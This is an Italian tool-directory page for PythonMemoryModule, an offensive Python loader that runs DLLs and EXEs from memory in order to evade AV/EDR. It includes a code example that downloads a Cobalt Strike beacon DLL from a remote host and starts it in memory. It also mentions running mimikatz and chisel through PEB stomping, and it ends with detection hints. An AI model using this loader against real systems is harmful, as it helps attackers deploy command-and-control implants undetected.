Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PythonMemoryModule — Implementazione pura in Python della tecnica MemoryModule per caricare dll ed exe non gestiti completamente dalla memoria. | Kitploit
Strumenti/GitHubGitHub/naksyn/pythonmemorymodule
Framework di ExploitPenetration TestingRed Teaming
GitHubnaksyn/pythonmemorymodule

PythonMemoryModule

Implementazione pura in Python della tecnica MemoryModule per caricare dll ed exe non gestiti completamente dalla memoria.

Vedi Repository
340522 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Supported Python versions Twitter

PythonMemoryModule

implementazione pura Python della tecnica MemoryModule per caricare una DLL o un EXE non gestito interamente dalla memoria

immagine
immagine generata dall'IA di "Python memory module" - hotpot.ai

Cos'è

PythonMemoryModule è un porting in Python ctypes della tecnica MemoryModule originariamente pubblicata da Joachim Bauch. Può caricare una DLL o un EXE non gestito usando Python senza richiedere l'uso di una libreria esterna (pyd) e ha un supporto (parziale) per il passaggio di parametri da riga di comando.

Si basa su pefile per analizzare gli header PE, PythonForWindows per accedere ai parametri di processo e ctypes per il lavoro pesante. Lo strumento è stato inizialmente pensato per essere utilizzato come modulo di Pyramid per fornire evasione contro AV/EDR caricando payload DLL/EXE in python.exe interamente dalla memoria, tuttavia sono possibili altri casi d'uso (protezione della proprietà intellettuale, caricamento in memoria di pyd, derivazioni per altre tecniche più furtive) quindi ho deciso di creare un repository dedicato.

Perché può essere utile

  1. Fondamentalmente consente di utilizzare la tecnica MemoryModule interamente in linguaggio Python interpretato, permettendo il caricamento di una DLL da un buffer di memoria utilizzando il binario python.exe firmato originale senza richiedere la scrittura su disco di codice/librerie esterne (come i binding di pymemorymodule) che potrebbero essere segnalati da AV/EDR o destare sospetti nell'utente.
  2. L'uso della tecnica MemoryModule in loader compilati richiederebbe di incorporare il codice MemoryModule all'interno dei loader stessi. Ciò può essere evitato usando il linguaggio interpretato Python e PythonMemoryModule poiché il codice può essere eseguito dinamicamente e in memoria.
  3. è possibile ottenere un certo livello di protezione della proprietà intellettuale scaricando dinamicamente in memoria, decifrando e caricando DLL che dovrebbero essere nascoste agli occhi indiscreti. Tieni presente che le DLL possono ancora essere recuperate dalla memoria e sottoposte a reverse engineering, ma almeno richiederebbe un maggiore sforzo da parte dell'attaccante.
  4. è possibile caricare una DLL payload senza staging senza eseguire iniezioni o esecuzione di shellcode. Il processo di caricamento imita l'API LoadLibrary di Windows (che prende un percorso su disco come input) senza chiamarla effettivamente e operando in memoria.

Come usarlo

Esempio n.1

Nell'esempio seguente, una DLL beacon senza staging di Cobalt Strike viene scaricata (non salvata su disco), caricata in memoria e avviata chiamando l'entrypoint.

root@kitploit:~
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Nota: se utilizzi lo staging nel tuo profilo malleabile, la DLL non sarebbe in grado di caricarsi con LoadLibrary, quindi MemoryModule non funzionerà.

Esempio n.2

Nell'esempio seguente utilizziamo la funzionalità di passaggio dei parametri da riga di comando per eseguire chisel in memoria.

https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7

Passaggio di parametri da riga di comando - Supporto parziale

Questa tecnica è stata implementata sovrascrivendo il parametro Commandline nel PEB a runtime. Non funzionerà con tutti gli eseguibili poiché dipende da quali funzioni vengono utilizzate per passare gli argomenti.

In generale, per ottenere una tecnica universalmente funzionante sarebbe necessario hook GetCommandlineA, GetCommandlineW, __getmainargs e __wgetmainargs poiché il PEB stomping non copre tutti i casi, maggiori dettagli qui.

Durante i miei test ho scoperto che mimikatz e diversi binari Go funzionano semplicemente facendo PEB stomping, d'altra parte, il passaggio dei parametri tramite PEB stomping da solo per binari compilati con mingw e VS probabilmente non funzionerà.

Come rilevarlo

L'uso della tecnica MemoryModule rispetterà per lo più i permessi delle sezioni della DLL target e eviterà il rumoroso approccio RWX. Tuttavia, all'interno della memoria del programma ci sarà un commit privato non supportato da una DLL su disco e questo è un segnale rivelatore di MemoryModule.

Scarica lo strumento